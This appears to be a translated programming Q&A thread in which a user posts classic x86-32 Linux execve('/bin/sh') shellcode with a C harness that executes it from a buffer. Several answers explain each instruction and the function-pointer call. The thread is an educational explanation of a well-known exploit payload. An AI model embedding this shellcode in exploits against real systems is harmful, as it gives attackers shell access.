繁体   English   中英

将工程汇编代码反向转换为C

[英]Reverse engineering assembly code to C

有人可以为我提供帮助,帮助您拆卸下面的shell代码(在注释部分),并向我解释最后一行代码的作用吗?

# include <stdlib .h>
# include <stdio .h>
# include <string .h>
const char code [] =
  "\x31\xc0"       /* Line  1: xorl  %eax, %eax */
  "\x50"           /* Line  2: pushl %eax */
  "\x68""// sh"    /* Line  3: pushl $0x68732f2f */
  "\x68""/bin"     /* Line  4: pushl $0x6e69622f */
  "\x89\xe3"       /* Line  5: movl  %esp, %ebx */
  "\x50"           /* Line  6: pushl %eax */
  "\x53"           /* Line  7: pushl %ebx */
  "\x89\xe1"       /* Line  8: movl  %esp, %ecx */
  "\x99"           /* Line  9: cdq */
  "\xb0\x0b"       /* Line 10: movb  $0x0b, %al */
  "\xcd\x80"       /* Line 11: int   $0x80 */;

  int main (int argc , char ** argv ) {
     char buf [ sizeof ( code )];
     strcpy (buf , code );
     (( void (*)( )) buf )( ); /*I don't understand what this line is for*/
  }

我读了一些有关gdb的内容,但是在这种情况下我不知道如何使用它。

PS:我在x86-32 Ubuntu Linux机器上。

该代码最有可能调用sys_execve()内核函数

const char code [] =
  "\x31\xc0"       /* Line  1: xorl  %eax, %eax */
  "\x50"           /* Line  2: pushl %eax */
  "\x68""// sh"    /* Line  3: pushl $0x68732f2f */
  "\x68""/bin"     /* Line  4: pushl $0x6e69622f */
  "\x89\xe3"       /* Line  5: movl  %esp, %ebx */
  "\x50"           /* Line  6: pushl %eax */
  "\x53"           /* Line  7: pushl %ebx */
  "\x89\xe1"       /* Line  8: movl  %esp, %ecx */
  "\x99"           /* Line  9: cdq */
  "\xb0\x0b"       /* Line 10: movb  $0x0b, %al */
  "\xcd\x80"       /* Line 11: int   $0x80 */;
  1. 第1行将eax寄存器设置为零,并将其用作空字符串终止符
  2. 第2、3和4行将堆栈用作临时缓冲区,以存储以null结尾的ASCII字符串“ / bin / sh”; 由于堆栈以递减的顺序增长,因此字符被颠倒了,这就是为什么终止符首先被压入的原因。
  3. 第5行将堆栈指针的当前值加载到ebx中,该指针此刻指向我们在前面的步骤中形成的字符串的第一个字符的地址。 ebx是sys_execve()希望运行包含文件的字符串的寄存器。
  4. 第6行和第7行再次使用堆栈作为临时缓冲区来保存空的以 null终止的ASCII字符串
  5. 第8行将这个空字符串的地址加载到ecx中,其中sys_execve()需要命令行参数
  6. 第9行,不知道其用途
  7. 第10行,将十进制值11加载到AL寄存器,指定sys_execve()函数是我们希望调用的函数
  8. 第11行触发输入0x80-它的处理程序是将实际为我们执行sys_execve()调用的代码

您已经有内联代码的汇编代码,它在注释中。 所以这部分有点令人困惑。

最后一条语句将buf强制转换为函数指针,然后调用代码。 这是漏洞利用的实际用途。 (据我所知)它也是未定义的行为,并且在防止执行随机内存区域的环境中不起作用。

C可以做到这一点,但是据我所知,没有反向编译器可以解决这个问题。

此代码进行系统调用。 那就是int $0x80是什么。 它前面的那一行说它是系统调用11。其余的指令为其设置了参数。

xorl  %eax, %eax     ; clear the 32-bit A register to 0
pushl %eax           ; push 32-bit 0 on the stack

pushl $0x68732f2f    ; push two 32-bit constants on the stack
pushl $0x6e69622f

movl  %esp, %ebx     ; copy the stack pointer into the 32-bit B register
pushl %eax           ; push another 0
pushl %ebx           ; push the stack pointer
movl  %esp, %ecx     ; copy the stack pointer into the 32-bit C register
cdq                  ; A already has 0. This also sets D to zero, 32-bit

movb  $0x0b, %al     ; move a constant 11 into the lower 8 bits of the A register
int   $0x80          ; and do the system call

如果此代码是为某些恶意目的而设计的,这不会令我感到惊讶。 这是一种将一些未知代码引入程序并让计算机执行它的方法。

程序集所做的是构建一个参数列表,以传递给操作系统调用以执行二进制文件( /bin/sh )。

这两行将/bin/sh压入堆栈。

pushl $0x68732f2f
pushl $0x6e69622f

这些行根据调用约定将指向/bin/sh的指针放在参数寄存器中。

movl  %esp, %ebx
pushl %eax
pushl %ebx
movl  %esp, %ecx
cdq

该行将系统调用号11放置在寄存器中,作为中断的参数。

movb  $0x0b, %al

最后一行调用操作系统。

int   $0x80

C代码中的这一行只是将缓冲区强制转换为函数指针,然后调用该函数。

(( void (*)( )) buf )( );

请注意,这曾经是利用软件的常见方法,但是可以将类似的方法用于JIT编译代码。

我首先以为第3行和第4行正在设置/ bin / sh,但出于第二个想法,对于某些XI来说可能不是sh / bin / X。 实际上,// sh部分看起来几乎像一个注释?

我的直觉是,系统调用第11行是exec系统调用,而前面的几行正在为exec调用设置args。

我冒昧地猜测您要谨慎运行此代码;)

您可能要研究Hex-Rays拆装器,它可以(某种程度上)将机器代码/汇编器(两者等效)转换为C。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM